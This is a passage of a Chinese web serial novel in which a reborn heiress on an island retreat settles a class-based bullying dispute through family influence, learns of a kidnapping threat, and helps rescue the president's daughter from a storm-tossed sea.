但这些都不能阻挡沈归灵想见姜花衫的心情,他坚决贯彻联盟宗旨,利用自己的最强大脑虚拟了一个绝对保密的聊天室。 一开始,沈归灵只会和姜花衫讨论她感兴趣的话题,比如关于那个组织,比如那些人可能在密谋什么,比如沈谦又谋划了什么坏主意? 等到姜花衫慢慢习惯,他开始夹带私货,偶尔拍拍海浪,偶尔说提一嘴今天吃了什么?再到后来,他会慢慢引导姜花衫说出自己的近况。 姜花衫不是不知道沈归灵企图将自己变成她的习惯。但,他不强势,像微风一样无孔不入,所以即便她后来反应过来,还是选择了清醒沉沦。 就这样,两人拉拉扯扯,感情迅速红温。 但至于男朋友一说…… 三天前,沈归灵非要看姜花衫现在的住宿条件,她便趁着其他几个室友不在登录了联盟聊天室,不巧还没聊两分钟,室友们就回来了。 有个女生期期艾艾犹豫了很久,最后还是鼓起勇气走到姜花衫面前,问了个惊天大雷: “那个……你是在给男朋友打视频吗?” 男朋友? 姜花衫当时愣了一下,一时没反应过来,女生便以为她是不高兴了,拿了张寝室规则表递给她。 “麻烦你看下这张规则表,还有,以后你和你男朋友视频请一定要先告诉我们一下。哦,别误会,我们没有别的意思,只不过寝室是公共场合,我们都是女生,不想自己的隐私被泄露。” 姜花衫从未和人同居过,不知道原来寝室规矩这么多,但鉴于人家说的有道理,她当时也就没说什么,只跟沈归灵说了一句再联系就挂了。 没想到,这么一个小小的插曲,这家伙都能对号入座,还给自己安排了一个身份。 姜花衫不想再提,盯着他身后的海景看了很久,故意转过话题,“你身后怎么一直冒黑烟?沉船了吗?” 沈归灵侧头扫了一眼,纤长的睫毛镀上一层柔和的光晕。 “嗯,我在执行任务。” 姜花衫一整个无语,“执行任务你打什么视频?!” 不是说南海卫最磨砺人吗?这家伙怎么这么闲? 沈归灵,“我击落沉船,任务已经完成了,所以可以休息了。” “……” 又来了! 这已经不是沈归灵第一次这么做了。 上次他学会驯化虎鲸,还让虎鲸在海面围成爱心跳操,有上上次,他一个人带着潜水装备潜到了水下350米和她视频,以及上上上次……上上上上次…… 姜花衫眯眼,盯着他的眼睛一动不动,每次沈归灵这样,她都觉得他像只招摇的求爱公孔雀。 沈归灵被她逗笑,故意一本正经,“他们都说我厉害,你怎么不夸我?” 这一年他在海边日晒雨淋,皮肤不如以前白皙,当笑容扬起,那张过度俊美的脸带着惊涛骇浪中千锤百炼出的锋芒,耀眼得不行。 “……” 姜花衫眼神微闪,每当这个时候,她都会想到被网友们玩烂的梗。 死丫头,吃这么好。 “……” 污了。 她脑子瞬间清醒,凶巴巴瞪向沈归灵“不厉害!” 沈归灵淡淡挑眉,一点一点凑近屏幕,眼里的暧昧欲语还休,“你要不要想清楚再……” 就在这时,手机界面突然跳出沈娇的电话,姜花衫抓准时机,一脸风轻云淡,“女王打电话来了,挂了。” “嘟——” 信号中断。 铁石心肠的她毫不迟疑接通了沈娇的电话。 “妈~” “听绥尔说,晚上要跟同学一起出去吃饭?” “嗯,高校联盟还有一个月,我想着跟室友打点好关系,未来相处起来也会轻松一些。” “你高兴就好,室友们好相处吗?” 姜花衫丝毫没有犹豫,“都挺好的。” 在此之前,沈娇已经和傅绥尔通过电话了,她早就从那个小喇叭口里得知姜花衫被冷落的事,打电话过来就是想探探姜花衫的口风。 因为这件事也算是她做的不漂亮。 接二连三的刺杀,让一个母亲再不敢轻视孩子们的任何一次出行,沈娇原本计划和学校商量让姜花衫独立出来与傅绥尔同居,但姜花衫以会影响课业的理由拒绝了。 于是,她只能退而求其次,筛选了同期学生里不知姜花衫底细的人作为她的室友。 沈娇的初心只是想杜绝别有用心之人的接触,没想到反而还让姜花衫惹了麻烦。 果真是应了那句老话,过犹不及。 但她也知道,以姜花衫的能力,这种小事根本难不倒她。 既然孩子没提,沈娇便装作不知道,主动开启了新话题,“高校联盟还有一个月,把你们三个留在岛上我还是有些不放心,国会那边已经通过了护航舰文书,大约三天左右就会有海舰卫上岛巡航。这次调遣的都是沈家亲卫,你们要是遇上什么事,只管报沈家的名字,知道了吗?” 姜花衫眼里忽然燃起一簇幽火,挺直腰身坐了起来。 “岛上不是已经安排了警署厅巡防吗?怎么突然调来护航舰?是不是发生了什么事?” 这一年,剧目风平浪静,一个出来作妖的反派都没有,一时间她身边全是好人,这让姜花衫极度地不适应。 倒不是她过不了好日子,而是她深刻地知道,在剧目没有完全摧毁之前,这种好日子只是剧目世界用来麻痹她的精神毒药,等她卸下防备,剧目随时都可能创死她! 原本她并不想来参加这次学术交流联盟,毕竟上一世她就已经领教过了。 这里的大多数交流就是深夜敲响异性的房门,然后第二天又从不同的房间出来。 当然,并非所有人都如此,但那些人只是凤毛麟角,他们能保住自己就很不错了,根本无法改变规则。 而她,那个时候早已经臭名远扬,虽然有沈家的名声压着,但还是防不住有心之人的窥探。要不是借着周宴珩狐假虎威,说不定也会沦为游戏中的一员。 重新来过,她不想再经历这种上位者的虐夺游戏,即使她已经成为了上位者。 之所以后来又改变了主意,是因为她忽然灵机一动萌生了一个想法,会不会最新的剧目就是从岛上开始的? 上一世,她只是个恶毒女配,看到的所有事物都是表象,若她用主角的视角再经历一次,说不定会打开不一样的剧情。 于是,她拜托沈庄动用关系,把她加进了这次登岛的名额中。 这三天,她看似无所事事闭门不出,实则就是在等一个契机验证自己的想法。 而现在,这个契机终于被她等到了,因为上一世,登岛之后政府并没有加派巡航卫,此刻,剧情从这里开始有了偏差。 …… 第652章 屠杀门 “……你这么兴奋做什么?” 沈娇的脑子里立马出现一只树懒抱着松果惊醒的画面。 糟了! 反应过头了! 姜花衫脑子飞速运转,正想着该如何圆话,耳边又传来沈娇笃定的声音。 “是不是一说到巡航卫你就想到那个谁谁谁了?” “谁谁谁?谁啊?”姜花衫一时对不上号。 沈娇懒得拆穿她,“我先说好,A国四大海域,以沈谦那精于计算的度量,大概率不会派南湾卫过来,就算是南湾卫,也不一定是沈归灵的海舰。” 怎么又说到沈归灵头上去了。 搞了半天,她在女王心中就是个恋爱脑?! 姜花衫正要解释,忽然眼底微亮,“正常来说巡航舰上岛属于比较轻松的调遣任务,岛上风光好,执勤度假这么好的事大伯为什么不安排沈归灵?难不成鲸岛上有什么潜伏隐患?” 沈娇早知道姜花衫聪明,见瞒不住索性将蔡严来沈园的事从头到尾都说了一遍。 “现在警署厅只是怀疑绑匪会对鲸港圈层动手,但没有确凿的证据,加之ZF担心突然打破联盟传统会制造无端恐慌,最后国会一致通过加调人手镇压鲸岛的决策方案。” 这么说,姜花衫就明白是怎么回事了。 现如今鲸鱼岛上聚集了A国最顶层的后代子孙,哪怕绑匪之事只是捕风捉影,世家大族和ZF高层都不敢掉以轻心,所以才连海战的巡航卫都派来了。 沈娇见她突然不说话,以为姜花衫在担心现在的处境,立马安慰道,“放心,别说这件事还没个影,就算那群绑匪真是冲着鲸港来的,妈妈也一定会保护好你们。” 姜花衫笑了笑,“我知道。我不怕。” 挂了电话,她立马从躺椅上站了起来,双手交叉活动腕关节。 绑匪? 剧情终于走到了震惊世界的鲸港屠杀门。 上一世,鲸港世族没有人将这群绑匪放在眼里,结果这些绑匪屡屡得手,不少家族被绑匪登堂入室洗劫一空,鲸港上层死伤无数,那一场浩劫姜花衫至今想起来都觉得不寒而栗。 她清楚记得,经历屠杀门的时候她只有十八岁,当时新闻上每过一段时间就会出现一个受害者的名字。之所以遍体生寒,是因为那些人死状凄惨,不管男女,生前都受到过非人的折磨,而那些人,都曾与她有过交集。 而这一世,剧目的节点似乎从沈娇复活后就被延迟了,难道是因为不该活的人活了,不该死的人死了? 如果真是这样,那爷爷死亡节点是不是也会被推迟?! 她正想得入神,寝室门突然从外面打开,宋溪等人原本还一脸怒气,冷不丁看见姜花衫不觉都愣住了。 怎么站起来了?还在活动筋骨?太阳从西边出来了? 不怪她们这么惊讶,这三天大家虽然都在一个屋檐,但她们从没见过姜花衫躺着之外的样子。 姜花衫默默放下手,转身坐了回去。 三人这才意识到自己反应太大,尴尬笑了笑,若无其事进屋。 宋溪看了姜花衫一眼,主动上前,“那个,我们正想说呢,今天的晚餐吃不了了。” 姜花衫挑眉,“租车的事没谈拢?” 宋溪点头,眉宇间满是挫败,“原本大家都已经把价格垒上去了,但是对面忽然有人说要撤走赞助我们学院阳光计划的资金。” 鲸港美院的阳光计划是一家非盈利性质的艺术画廊,里面汇聚了美院学生最高的艺术创作。这里是怀才不遇者的敲门砖,不管你家底多薄,只要有天赋,只要画作有灵性,就一定会被大众看见。 孙禾越想越气,趴在桌上哭了起来,“一想到自己辛辛苦苦创造的画作被这些烂人拿去消遣就觉得好窝囊。” 姜花衫不解,“你哭什么?” 孙禾愣了愣,挂着两串泪珠站起身就要理论,夏莎和宋溪也没想到新来的室友情商竟然低,赶紧上前安慰,“小禾,别生气,她没有恶意的。” 说着,两人又转头对着姜花衫使眼色。 姜花衫点头,“是啊,就是单纯不理解。” 孙禾更气了,带着哭腔质问,“你当然不理解了,你就算旷课都可以拿到尖子生的名额,一根簪子上的翡翠比我爸的啤酒瓶还绿,你一辈子都不用为生计发愁,又怎么会明白我们的心情呢?” “行了!别说了!”宋溪生怕大家的关系又弄僵,一把拦在孙禾面前,“你对着人家发脾气做什么?又不是她扣的车。” 孙禾攥紧拳头,一时也不知道说什么,闷闷坐了回去。 姜花衫单手托腮,目光在三人之间逡巡了一圈,思忖片刻淡淡道,“你们不是想解决租车的问题吗?解决问题就要有解决问题的态度,我只是不理解这个时候哭,对解决问题有什么帮助?” 三人愣了愣,这才意识到姜花衫在说什么。 这个道理浅显易懂,但不知道为什么,就是容易被遗忘。 孙禾抽了抽鼻子,有些不服气,“那是因为根本解决不了。” 姜花衫,“既然解决不了,那哭也没有用,为什么又要哭呢?” 逻辑闭环了,孙禾一时反驳不了,只能傻愣愣看着姜花衫。 姜花衫看不惯这一群怂包子,双手抱胸,“行吧,虽然不能理解你们这种弱者思维但我表示尊重,为了表达我的歉意,我替你们解决租车的事,如何?” …… 第653章 一招致胜 解决租车问题? 三人不约而同愣住了,回过神后相互看了看。 夏莎,“他们几个学校的人都联盟了,导员说没有涉及肢体冲突,学校不好干预,你一个人要怎么解决?” 姜花衫,“归根到底不就是钱的问题吗?用钱解决就好了。” 她之前一直按兵不动是因为没有摸清楚剧情的发展规律,现在知道鲸鱼岛有猫腻,她自然要想办法打探清楚。 上一世,她只是一个配角,配角的视角看见的剧目是有限的,那么这次,她就尽可能参与鲸鱼岛剧情,以主角的视角看看,这里面到底藏了什么见不得人的秘密? 孙禾吸了吸鼻子,看着她发簪上的帝王绿宝石,“所以……它是真的?” 之前她们三个还偷偷讨论过,这要是真的应该价值上千万,她们就算买假货都不敢买这么绿的,这位大小姐竟然就这么水灵灵戴在头上? 姜花衫注意到她的视线,顺手取下发簪,“你说这个?假的,这是我爷爷的啤酒瓶。” 孙禾不禁想起自己刚刚那个比方,微微有些窘态,她这人从小到大就是这样,只要情绪一激动就会想哭。 宋溪,“你该不会想用这根簪子买下租车权吧?太贵重了,还是算了,要是买下了,你肯定会成为那些人的公敌的,你这么有钱应该也有自己的圈子吧?他们不会为难同圈的人,你别跟我们来往就行。” 她方才在沙滩看见总统千金都绕道了,越是高位者越是权衡利弊,向上社交能获利,向下社交只是徒劳。 姜花衫只当没听见,拿起手机,业务娴熟拨通了电话。 “她想干什么?” 三人相互靠拢,满脸不解看着姜花衫。 “不会是打电话摇人吧?” “喂~郑松?怎么是你?爷爷呢。” 口气这么横,看来在家里还是有些地位的。 过了一会儿,姜花衫语调一转,全然没有跟她们说话时的娇横,“爷爷~~我被人欺负了,他们联合霸凌我,那些远的路一台车子都不给我留,还让我走路去五百米开外的铁滩。” 铁滩? 三人嘴角抽了抽,是银滩吧?还有,不是五百米,是十公里,谁会为走路五百米这种事发怒啊? 没等她们反应过来,姜花衫就收了电话。 “搞定了。” “?” 搞定了?! 三人又不约而同瞪大了眼睛,什么搞定了?怎么就搞定了? 姜花衫摆摆手,“等吧,大概五分钟,算了,做人留一线日后好相见,给他们十分钟。” * 金滩。 一群东湾二世祖吊儿郎坐在沙滩的玻璃空调房里放声戏谑。 “哈哈哈,你们看见那群低劣人的傻样没?笑死了,还真一起翻着口袋凑钱,真是蠢得可怜。” 傅潇潇坐在人群中间,嘴角满是嘲弄之色。 “潇潇,我们接下来玩什么啊?” “潇潇,你带我们去珊瑚滩吧?听说那里的游戏更好玩。” 鲸鱼岛的游戏都是有食物链的,在这些‘大鱼’眼里,鲸港就是更高的猎食层。 东湾人都知道,傅家曾是鲸港数一数二的权贵,虽说如今已经被挤下了神坛,但瘦死的骆驼比马大,在他们眼里,傅家还是能比肩鲸港权贵的存在,不然也不会有这么多人围着傅潇潇转。 傅潇潇嘴角的笑意渐渐收拢,语气有些不耐,“急什么?现在才上岛多久,我还没玩够呢。” 闻言,众人也不好再说什么。 “铃铃铃——” 就在这时,玻璃房里响起此起彼伏的电话铃声,若是鲸港那群‘鬼火少年’看见这一幕,应该会无比怀恋。 东湾的二世祖们还没有意识到事情的严重性,一看是家里的电话,还以为是查岗电话,一个比一个会装逼。 “喂~都说了不要给我打电话,有事我会联系你们的。” “喂,妈?钱够用……” 不到十秒,原本嘈杂的氛围瞬间陷入了诡异的宁静,所有人一致噤声,表情凝重。 傅潇潇立马察觉到了不对劲,坐起来推了推身边的男生,“怎么了?” 男生等了一会儿才挂断电话,咽了咽嗓子,“我爸让我去下跪。” “?”傅潇潇一时没反应过来,“下跪?下什么跪?” 这时,几乎所有人都已经挂了电话,但大家的表情出奇一致,如丧考妣。 傅潇潇心头忽然涌上一种不祥的预感,“你们该不会……” 就在这时,摆在茶几的紫色手机响了。 傅潇潇脸色更加难看,犹豫片刻还是接通了电话。 “潇潇!你现在在哪?我不管你在哪,现在!立刻!马上给我滚回你自己的房间,东湾局势好不容易稳定下来,你要再给我弄出什么动静,别怪我把你送去M国的修道院。” “知道了。”傅潇潇闭了闭眼,佯装若无其事,正要挂电话,突然发现刚刚贴脸时不小心按到了外放。 “……” 这一刻,气氛变得更加诡异了。 * 椰林公寓。 姜花衫夸下海口后便又躺了回去,随意打开手机玩起了打鱼游戏。 其余三人摸不准她是什么套路,也不敢说话,小心翼翼坐回自己的座位。 宋溪默默扫了一眼桌上的时钟,心想着十分钟很快就过去了,就算对方是戏耍她们,也不至于撒一个时效只有十分钟的谎。 时间一分一秒过去。 寝室氛围针落可闻,短短几分钟,姜花衫已经从一只虾虎鱼升级到了牛鲨。 “叩叩叩——” 终于,门外响起了敲门声。 三人顿时身躯一震,转头看向桌上的时钟,不是!怎么才刚刚过去三分钟? 姜花衫抬眸看了一眼,继续玩手机。 夏莎犹豫片刻,主动起身开门。 房门打开的一刹那,她愣住了,严格来说是吓得僵在原地。 对面的男人穿着黑色军制警服,肩章上的勋章是她从未见过的样式。 “请问,姜小姐是住在这里吗?” 姜小姐? 夏莎眨了眨眼,有些呆滞回头看向窗台边的姜花衫,“您……您问的是她吗?” 男人顿时眼睛一亮,立马浮现出如沐春风的微笑,“姜小姐,您还记得我吗?鄙姓蔡。” 姜花衫抬起头,语气寻常,“记得,我不过跟爷爷随便抱怨一句,他老人家怎么把您请过来啦?我这不过是一点小事,不劳您大驾。” 蔡严受宠若惊,立马挤进房间,小跑到姜花衫面前,“姜小姐说笑了,我受命维护岛上秩序,不论大事小事理应效力。” 此时,寝室三个已经完全失去了表情管理,面色惊恐聚拢一团。 “我是不是眼花了?这个长官怎么看上去这么眼熟?” “当然眼熟了,我们上岛那天,他是其中一个致词人,当时介绍好像说是……” 孙禾的声音发颤,“鲸港警署厅总署厅长……” “……” 第654章 顶级豪门就算吃屎也要尝个咸淡 蔡严搓了搓手,小心翼翼陪着笑,“姜小姐,您说有人带头霸凌您,这到底是怎么回事啊?” 有过上次的前车之鉴,现在鲸港再没有人敢不把这位嫡公主放在眼里,姜花衫之所以觉得周围都变成了好人,那是因为鲸港高层都给家里的祖宗下达了死令,惹不起躲得起,谁敢找姜花衫得不痛快,就把人送去沈家赔罪。 众所周知,沈家老爷子最喜欢的就是打断别人的腿,一旦进了沈家下场便是竖着进横着出。 混不吝的二世祖们也明白利害关系,一直都踩着红线不敢越界。 蔡严万万没想到了,都这样了,还有人不怕死送人头。 姜花衫收了手机,抬头看向不远处抱成一团三人,“警察蜀黍来了,你们受了什么委屈就直说吧。” “……”三人相互看了一眼,明显有些不在状态。 姜花衫只当她们是放不开,沉默片刻,主动说道,“当初教育台发起精英学术交流联盟,目的是为了让A国新生一代相互扶持,共同进步,并非是像现在这样搞小集体,阶级分化。” 不愧是沈老教养出来的人,开口就是大格局,蔡严忙不迭点头,“是是是。您说得对。” “既然如此,那么如何分化岛上资源也是我们所有人都应该思考的课题。椰林公寓离沙滩最远,按理应该先拥有租车配比权,其次是海景区,最后才是中心环岛区。现在拿着最优资源的人却抢占了本该划分给我们的资源,我就想想问问,这是才谁定的规矩,到底还有没有人管?” “有有有。”蔡严眼皮直跳,“姜小姐放心,我稍后就回去督促他们重新分配资源。” 这就解决了? 他们全校出动交涉了三天还没有大小姐一句话管用? 三人此刻已经意识到姜花衫的身份大有来历,莫名有些紧张。 蔡严虽然应的快,但这件事并没有表面看上去好处理,租车只是其中一件很小的事,但也反映了最核心的问题。 理论来说,合理分配资源是最理想的状态,但这种状态几乎不可能保持,因为一旦权利失去平衡,上位者必然会抢占最好的,适者生存优胜劣汰,古往今来一贯如此。 但不管再难,这事他既然应了口就一定要办成。 鲸港权贵这么多,若是他个个都巴结,那些大人物根本不会把他放在眼里,所以最好的方式就是坚定投靠一家,一条路走到黑。 而沈家无疑是他最好的选择。 蔡严微微垂首,放宽耐心,“姜小姐还有其他问题吗?” 姜花衫抬眸看向惊讶三人组,“再不说就没机会了。” 宋溪咬了咬牙,攥紧拳头结巴道,“长……长官,岛上三个区域都属于公共海滩,我们希望大家能和平分享每一片海域。” 有人打破僵局,另外两人也有了勇气。 “语言欺辱也是一种霸凌,我们希望被公平对待。” 想法是好的,但太过天真了。 这些霸凌者之所以嚣张是因为权利失衡,要杜绝霸凌并不是提出公共制约就能解决的。 蔡严的确可以派遣警署厅的人从旁协助,但这并不能震慑真正的作恶者,因为坏人总是比好人有办法,真正作恶的人都是无所不用其极,若不能从自身、或者根本解决问题,一旦她们落单,还是很容易成为被攻击的目标。 这就是为什么,恶人如附骨之疽的道理。 蔡严思忖片刻,转头看向姜花衫,“姜小姐,我会尽力而为。” 姜花衫点头,“给您添麻烦了。” “不敢当,若没有别的事我先回去了,这是我的私人电话,联盟期间我都会在岛上巡航,您有任何问题随时给我打电话。” 蔡严态度恭谨,拿出提前准备好的便签放在桌上。 “多谢。” 蔡严一番寒暄,低调出了寝室。 待人走后,三人屏住呼吸对着姜花衫上下打量。 姜花衫只当没看见,若无其事端起水杯,正要起身……三人一下反应过来,蹭得一下围上前。 孙禾连忙从她手里接过水杯,一副狗腿模样,俨然忘记了刚刚是谁哭着脸叫嚣。 “大小姐您坐,我给您倒水,要温的还是凉的?” 姜花衫,“凉的。” “好嘞。”孙禾屁颠屁颠跑去接水,还放了几块她平时都舍不得用的小熊冰块,“大小姐,您试试。” “……” 姜花衫默默接过水杯,正准备喝水,眼前三人突然半蹲下来,动作整齐划一,仰头盯着她不停闪烁星星眼。 “干嘛?”姜花衫以为这三人给她下跪,差点喷水,发现是蹲着便又假装冷漠喝了口水。 孙禾,“你姓姜?是那个一点一点一横一横一竖再一横,加个女的姜?!” “……是啊。” 夏莎瞪着圆溜溜的眼睛,“你的爷爷该不会是姓沈吧?” “是啊。” “!!!” 三人集体倒吸了一口凉气,正当姜花衫以为她们会乘胜追击时,三人同时掉头,背对着她抱成一团。 “我当初就说她眼熟吧,你还说我看谁都眼熟,早知道就不该听你的,先问问她的名字了。” “你还好意思说?是谁说她是高级整容脸,还说不想和阶级剥削者说话。” “你懂什么啊,一般的阶级剥削者我是不爱搭理,但这种顶级豪门就算吃屎也要尝个咸淡啊。” 姜花衫挑眉,眼眸微眯,她刚刚是不是幻听了,三个包子骂她是屎? …… 贴一张书粉宝宝【ID:浮木秋秋】约的沈兰晞,人物图设禁止二转二改,希望大家喜欢、理解~ 第655章 不会,就换我来 蔡严急于在沈家面前卖好,回去后立马开始着手资源分配的问题。 首当其冲的就是原本既定的二十辆沙地车一辆不少回归到了银滩,这一举动立马引起了金滩和珊瑚滩学生的注意。 东湾那些人像逗阿猫阿狗一样挑衅鲸港美院的学生,虽然其他人没有参与,但都是看在眼里的。 如今银滩拿回租车使用权,说明这场霸凌游戏最终以失败告终了。 但更多人关注的是另外一点,警署厅代表的是政府立场,有人竟然能说动蔡严,看来是有个大佬在替鲸港美院撑腰。 消息传来,众人纷纷猜测是总统千金,因为余笙给人的公众感觉就是一个愿意为普通人和弱势发声的特权阶级。 竟然敢在总统大选前夕一次得罪所有东湾势力?不少人因此对余笙刮目相看。 到了下午,警署厅继续发力,张贴鲸鱼岛用餐规则,发布规则严令声明,鲸鱼岛资源为公共资源,任何人不得以任何理由限制他人的自我意识,更不得以任何手段限制他人活动区域,一经发现,通报学校,驱逐下岛。 * 傍晚,三两只白鹭掠过林梢,翅尖蘸着最后一缕金芒,飞向渐紫的天穹。 露天的餐吧上空亮起一串串暖色星灯。 因为警署厅强势介入,珊瑚滩和金滩慢慢涌进了新群体,好不热闹。 姗姗来迟的二世祖们看见自己常用的位置被一群杂鱼占领,当即摔门而出。 * “什么?警署厅都出面了?” 关鹤一整天都泡在温柔乡,二世祖们找上门时他还是一头雾水,“不是,蔡严在坐上总厅长位置不过一年,翅膀就这么硬了?” “阿鹤哥,蔡严哪有这么大的胆子?一定是背后有人指使。”说话的是A国银星银行行长的孙子。 银星银行虽然表面是一家商业银行,但实际势力早已渗透军权,如今已经持有A国五分之一的兵役赎买资金。 关鹤皱眉,“有人指使?谁啊?这么大的脸?” 韩洋,“余家。总统大选马上就要开始,余笙为了给她那草根父亲拉排面,竟然直接下我们的脸,真是给她能的。” “余笙?”关鹤摆摆手,“不可能,她还能有这能耐?” “除了她还能有谁?每天跟戏子一样上台演出,也就外面那群傻子把她当成什么特权清流,她余家也算特权豪门?一个乡下泥巴堆里爬出来的臭虫而已。” 围簇在关鹤身边的基本都是依附关家、周家的鲸港高门子弟,这些人的家族构成了财阀联合体,不仅能操控国债利率波动,甚至还能通过旗下文娱新闻向政府示威。 余家入驻鲸港不到八年,对普通人来说总统是遥不可及的权威,但对这些根深蒂固在鲸港的权贵,余家还不足以威慑众怒。 关鹤也不喜欢余笙,除了姜花衫,余笙算是他第二不喜欢的女人,每天都喜欢把女权、自由、平等挂在嘴边,太装。 “那你们想怎么招?” “她敢替平民撑腰,咱们就让她知道,脱离自己的阶级会有什么下场?!” “玩这么大?”关鹤挑眉,细细想了一会儿,摇摇头 ,“还是算吧,这么多人弄个女人也不像样儿,这规矩十几年前就定好了,哪是她说变就能变的?等着吧,过不了几天就恢复原样了。” 一行人原本兴致勃勃来告状,没想到关鹤竟然根本不在意,韩洋出了房间脸色异常难看。 “阿鹤哥最近是不是也太好说话了一点?要是平时,他早爆了。” 韩洋咬了咬牙,“这事决不能就这么算了,阿鹤哥没有兴趣那你们怎么说?” 岛上有些规矩已经是约定俗成,现在有人说改就改显然是没有把他们放在眼里,这口气要是咽下了以后哪还有立足之地?! 见有一大半人犹豫,韩洋立马反呛,“你们怂什么?一个草根杂鱼而已,只要我们处理地干净点,岛上这么多人谁知道是我们干的?” “……” * 岛上气候多变。 晚上六点左右,天穹骤然倾塌,铅云如溃败的军团向海面压坠,蒸腾的咸腥混着硫磺味直灌鼻腔。 姜花衫和室友们刚走到公寓门外就被这场罕见雷雨拦截了。 “幸好幸好,要是再早一点出门,我们肯定会被淋成落汤鸡的。” 孙禾轻拍着胸部,指着冒雨在沙滩狂奔的人影,“大小姐,咱们还是先回去,别把您淋湿了。” 因为过去的经历,姜花衫对这种毫无征兆的暴雨天气本能地警惕,她担心会有什么不好的事发生,第一时间拿出手机跟群里的小伙伴确认消息。 -【关你peaCe:下暴雨了,你们都没事吧?】 -【我命油我不油天:我和绥尔一直在房间里准备司法答辩的资料,还没有出去。】 -【沉眠:淋了一点雨,不过没事。】 姜花衫这才松了一口气,“回去吧。” 话音刚落,忽然不远处传来一声凄厉的女音,“救命!有人落水了!!!” 这声呼救放在嘈杂的暴雨中并不起眼,但姜花衫很快就捕捉到了,几乎没有丝毫犹豫转头冲进了雨幕。 “大小姐!!!你去哪?!” 三人愣了愣,还没等她们反应过来,姜花衫的背影就缩成了虚影。三人相互看了一眼,抱着头齐齐扎进了暴雨中…… “大小姐,您慢点,等等老奴啊!” “轰隆——轰隆——” 雷声渐密,整片海域化作沸腾的坩埚,闪电如天神的焊枪,将乌云与黑浪粗暴熔接。 密密麻麻的人群在暴雨中四散开来,所有人都在往后退,只有姜花衫一人向前冲。 她与无数人相撞,一直在人群里搜索那道极弱的呼救声。 “救命啊!!你们别走,有人落水了!救命啊!!!” 苏韵一直盘旋在沙滩边,眼睁睁看着余笙被卷进海浪,离岸边越来越远。 她试图拉拽身边的人群,可暴雨中人们只求自保根本无暇顾及她的求救,没有人愿意停下脚步…… 不过一分钟的时间,余笙已经被卷出了十米开外。 再这么下去只有死路一条。 苏韵紧紧握拳,犹豫片刻一把抹去脸上的雨水,抬步向海浪走去。 “你会游泳吗?” “轰——” 耳边传来陌生又熟悉的声音。 海天交界处爆出青紫色的静脉,苏韵回头,有人立在暴雨之中,劈荆棘而来。 她眼底的眸光微微晃动,这一幕与三年前奇迹般重合了。 姜花衫将一根麻绳扔进她的怀里,眼皮都没抬直接擦身而过。 “不会,就换我来。” …… 第656章 巨浪中的绳索 苏韵看着手里的尼龙绳,眼里的光慢慢聚拢。 她抬眸,目光刚转过去便看见那道黑影毫不犹豫跳进了波涛汹涌的深海中,缠绕在地上的绳索一层一层迅速递减。 暴雨如重机枪扫射海面,浪墙裹着黑色水藻砸向礁石,明明是毫无胜算的死局,巨浪中的黑影却一次比一次向前,每每被白浪拍下淹没,又会如野火过境的春草再次力挽狂澜。 余笙是迫不得已被卷入了深渊, 而姜花衫却是自己游向的深渊,即使苏韵很不想承认,但也不得不承认,有些人带着光,是有原因的。 所以,那个时候她才敢带着两把枪,孤身走进那扇让她一辈子梦魇的铁门。 * “好冷……” 余笙不善游泳,中途已经呛了好几口海水,眼下她近乎已经失去知觉,只能眼睁睁看着自己离海岸线越来越远。 她觉得自己或许是要死了,心情莫名的悲凉。这一刻,她忽然意识到自己还有很多事没有做,还有很多理想没有实现。 “救救我……我不想死……” 她甚至卑微地开始乞求神明听见她的祷告。恍惚间,她仿佛看见一道黑影向她游来,她已经分不清是自己的幻觉作祟还是神明听见了她的祷告。 突然余笙感觉有道坚定的力量托住了她的腰身,那道力称之为奇迹也毫不为过,让她在巨浪滔天的深海里有了抵抗的意识。 碎落的海岸线一点一点在眼前重新聚焦,余笙黯淡的眸光渐渐有了生机。暴雨、海浪打得她睁不开眼,迷迷糊糊间她小声问了句,“是你吗?你听见了我的祈祷,沈归灵?” “……” 姜花衫游得正起劲,冷不丁听见最后三个字,差点被气笑呛水。 不是! 这到底是什么鬼剧目啊?! 余笙好歹是总统千金,受高等教育长大的高知女性,为什么连这样的人物在生命受到胁迫时,都不想着积极自救,反而要去祈祷一些不切实际的东西? 遇见危险什么都不做,只等着心上人踩着七彩祥云来拯救自己,这根本不是什么浪漫剧情,是荼毒! 姜花衫越想越生气,趁着一道巨浪拍过来的时候直接把余笙推了出去。 清醒清醒,洗洗脑子吧! 她宁愿余笙是个有野心的政治家,也不希望她是为男主服务的恋爱脑,不然真是有够恶心人的。 “救我……” 余笙在被推出去的时候瞳孔猛然收缩,清醒瞬间,突然生出一股巨力死死拽住姜花衫的胳膊。 姜花衫原本只是想吓吓她,没想到她反应这么大,胳膊被强行拽住划不开,在挣扎的过程中一道丈高的巨浪对着两人垂直落下。 “哗啦——” 白沫翻涌,两道人影瞬间消失在海上。 “糟了!” 目睹一切的苏韵顿感遍体生寒,死死拽着手里的尼龙绳。 但另一头的阻力原来越来大,她的力气有限,身体被重力掼倒在地,但即便这样,力道也没有减弱,苏韵眼睁睁看着自己被绳索牵引慢慢向海浪靠近。她死死拽着手里的绳索,充血的掌心几乎要被勒出血泡,她不敢让自己深想,嘴里不停地喃喃自语。 “不能松……不能松……” 她手里握着两个人唯一的生机,要是松了,这两个人就回不来了。 暴雨越下越大,海岸线也越来越浅,渐渐的,海水没过的苏韵的膝盖。 她满脸绝望,拽着尼龙绳往腰上绕了一圈,脚掌死死扣进细软的泥沙。 “有没有人啊!救命啊!快来人啊!!救命!!” 她一个人抵抗不了巨浪的力量,细软的腰身几乎要被勒断也没能创造奇迹,最终连同自己一起跌进了海水里。 为什么? 为什么每次都要她做这种生死抉择? 放手是恶,可若不放手,光明又在哪里? “哗啦——” 突然,她感觉到了一股与巨浪相反的力。 “哗啦——” 她被这道力拉出了海面。 “你没事吧?” 一个胖胖的女生用胳膊绕进尼龙绳,“一起拉。” 苏韵愣了愣,不知为什么,眼眶忽然发酸,她强忍着颤抖指着海浪中心,“她们有两个人,浪太大了,我先拉着,你去叫……” 话没说完,被海水打湿的尼龙绳上又同时多出了两双手。 “拉吧,人够了。” 苏韵回头,这才发现她身后忽然多出了好多人。 宋溪,“我跟同学们说大小姐掉水里了,大家都来帮忙了,因为寝室那边都是女生,所以力气可能小一点,但不是不怕!我们人多!” 没等苏韵反应过来,夏莎扯着嗓子嘶吼,“一、二、三!拉!!!” 相比浩瀚无垠的深海,穿梭在巨浪的尼龙绳显得如此微不足道,就是这根微不足道的绳索,将二十三个女生绑在了同一条生命线上,这一刻,大家忘记了生死,忘记了权衡,将自己的全部托付给了彼此。 众志成城,众人齐喝,共同发力往岸上拉。 终于,逃散的人群被惊动,停下了脚步。 